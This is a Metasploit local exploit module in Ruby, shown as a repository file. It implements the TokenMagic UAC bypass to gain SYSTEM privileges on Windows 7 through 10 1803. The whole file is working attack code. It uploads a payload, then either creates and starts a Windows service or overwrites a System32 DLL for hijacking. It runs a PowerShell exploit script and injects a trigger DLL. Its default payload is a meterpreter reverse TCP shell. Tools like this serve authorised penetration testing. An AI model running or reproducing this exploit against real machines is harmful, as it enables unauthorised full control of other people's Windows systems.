75ba9110e2
Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection.
194 lines
8.0 KiB
Ruby
194 lines
8.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::EXE # Needed for generate_payload_dll
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::FileSystem
|
|
include Msf::Post::Windows::Process
|
|
include Msf::Post::Windows::Powershell
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Privilege Escalation via TokenMagic (UAC Bypass)',
|
|
'Description' => %q{
|
|
This module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL
|
|
hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803
|
|
are affected.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'James Forshaw', # Research
|
|
'Ruben Boonen (@FuzzySec)', # PoC
|
|
'bwatters-r7', # msf module
|
|
'jheysel-r7' # msf module
|
|
],
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Targets' => [
|
|
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2017-05-25',
|
|
'References' => [
|
|
['URL', 'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1'],
|
|
['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html'],
|
|
['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html'],
|
|
['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html']
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
},
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
|
|
'WfsDelay' => 900
|
|
},
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
powershell_execute
|
|
stdapi_sys_config_getenv
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('SERVICE_NAME',
|
|
[false, 'Service Name to use (Random by default).', Rex::Text.rand_text_alpha(5..9)]),
|
|
OptString.new('WRITABLE_DIR',
|
|
[false, 'Directory to write file to (%TEMP% by default).', nil]),
|
|
OptString.new('SERVICE_FILENAME',
|
|
[false, 'Filename for Service Payload (Random by default).', Rex::Text.rand_text_alpha(5..9)]),
|
|
OptEnum.new('METHOD',
|
|
[
|
|
true, 'SERVICE or DLL, please select which attack method you would like to use (SERVICE by default).
|
|
Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
|
|
minutes to trigger', 'SERVICE', ['SERVICE', 'DLL']
|
|
])
|
|
])
|
|
end
|
|
|
|
def launch_dll_trigger
|
|
if sysinfo['Architecture'] == ARCH_X64
|
|
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll')
|
|
elsif sysinfo['Architecture'] == ARCH_X86
|
|
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x86.dll')
|
|
end
|
|
|
|
print_status('Reflectively injecting exploit DLL into a spare process and triggering the LPE...')
|
|
encoded_payload = payload.encoded
|
|
execute_dll(library_path, encoded_payload)
|
|
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
elog(e)
|
|
print_error(e.message)
|
|
end
|
|
|
|
def payload_arch
|
|
payload.arch.include?(ARCH_X64) ? ARCH_X64 : ARCH_X86
|
|
end
|
|
|
|
def exploit
|
|
win_dir = session.sys.config.getenv('windir')
|
|
cmd_path = "#{win_dir}\\system32\\cmd.exe"
|
|
service_filename = datastore['SERVICE_FILENAME'] || Rex::Text.rand_text_alpha(5..9)
|
|
service_filename = "#{service_filename}.exe" unless service_filename.end_with?('.exe')
|
|
service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(5..9)
|
|
writable_dir = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
|
|
|
|
# Check target
|
|
validate_active_host
|
|
validate_payload
|
|
|
|
if datastore['METHOD'] =~ /DLL/i
|
|
bin_path = "#{writable_dir}\\WindowsCoreDeviceInfo.dll"
|
|
payload = generate_payload_dll
|
|
vprint_status("Payload DLL is #{payload.length} bytes long")
|
|
client.core.use('powershell') unless client.ext.aliases.include?('powershell')
|
|
register_file_for_cleanup('C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up.
|
|
# Replace Value in Generic Script.
|
|
cmd_args = "/c move #{bin_path} C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll"
|
|
else
|
|
bin_path = "#{writable_dir}\\#{service_filename}"
|
|
payload = generate_payload_exe_service({ servicename: service_name, arch: payload_arch })
|
|
vprint_status("Service Name = #{service_name}")
|
|
client.core.use('powershell') unless client.ext.aliases.include?('powershell')
|
|
# Replace Value in Generic Script. Note Windows 7 requires spaces after the equal signs in the below command.
|
|
cmd_args = "/c sc create #{service_name} binPath= #{bin_path} type= own start= demand && sc start #{service_name}"
|
|
end
|
|
|
|
# Upload the payload
|
|
print_status("Uploading payload to #{bin_path}")
|
|
write_file(bin_path, payload)
|
|
register_file_for_cleanup(bin_path)
|
|
|
|
# Read in Generic Script
|
|
script = exploit_data('tokenmagic', 'tokenmagic.ps1')
|
|
script.gsub!('_CMD_PATH_', cmd_path)
|
|
script.gsub!('_CMD_ARGS_', cmd_args)
|
|
|
|
# Run Exploit Script
|
|
print_status("Running Exploit on #{sysinfo['Computer']}")
|
|
begin
|
|
print_status('Executing TokenMagic PowerShell script')
|
|
session.powershell.execute_string({ code: script })
|
|
rescue Rex::TimeoutError => e
|
|
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
|
|
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
|
|
end
|
|
|
|
if datastore['METHOD'] =~ /DLL/i
|
|
launch_dll_trigger
|
|
print_status("Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
|
|
minutes to trigger and recieve a shell.")
|
|
end
|
|
print_good('Enjoy the shell!')
|
|
end
|
|
|
|
def validate_active_host
|
|
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
elog('Could not connect to session', error: e)
|
|
raise Msf::Exploit::Failed, 'Could not connect to session'
|
|
end
|
|
|
|
def validate_payload
|
|
vprint_status("Target Arch = #{sysinfo['Architecture']}")
|
|
vprint_status("Payload Arch = #{payload.arch.first}")
|
|
unless payload.arch.first == sysinfo['Architecture']
|
|
fail_with(Failure::NoTarget, 'Payload arch must match target arch')
|
|
end
|
|
end
|
|
|
|
def check
|
|
version = get_version_info
|
|
|
|
vprint_status("OS: #{version.product_name}")
|
|
# Service method has been tested on Windows 7, 8 and 10 (1803 and ealier)
|
|
vulnerable_to_service = version.build_number.between?(Msf::WindowsVersion::Win7_SP1, Msf::WindowsVersion::Win10_1803)
|
|
if datastore['METHOD'] =~ /service/i
|
|
return Exploit::CheckCode::Appears if vulnerable_to_service
|
|
elsif version.build_number.between?(Msf::WindowsVersion::Win10_1703, Msf::WindowsVersion::Win10_1803)
|
|
# DLL method has been tested on Windows 10 (1703 to 1803)
|
|
return Exploit::CheckCode::Appears
|
|
elsif datastore['METHOD'] =~ /dll/i && vulnerable_to_service
|
|
print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!")
|
|
end
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
end
|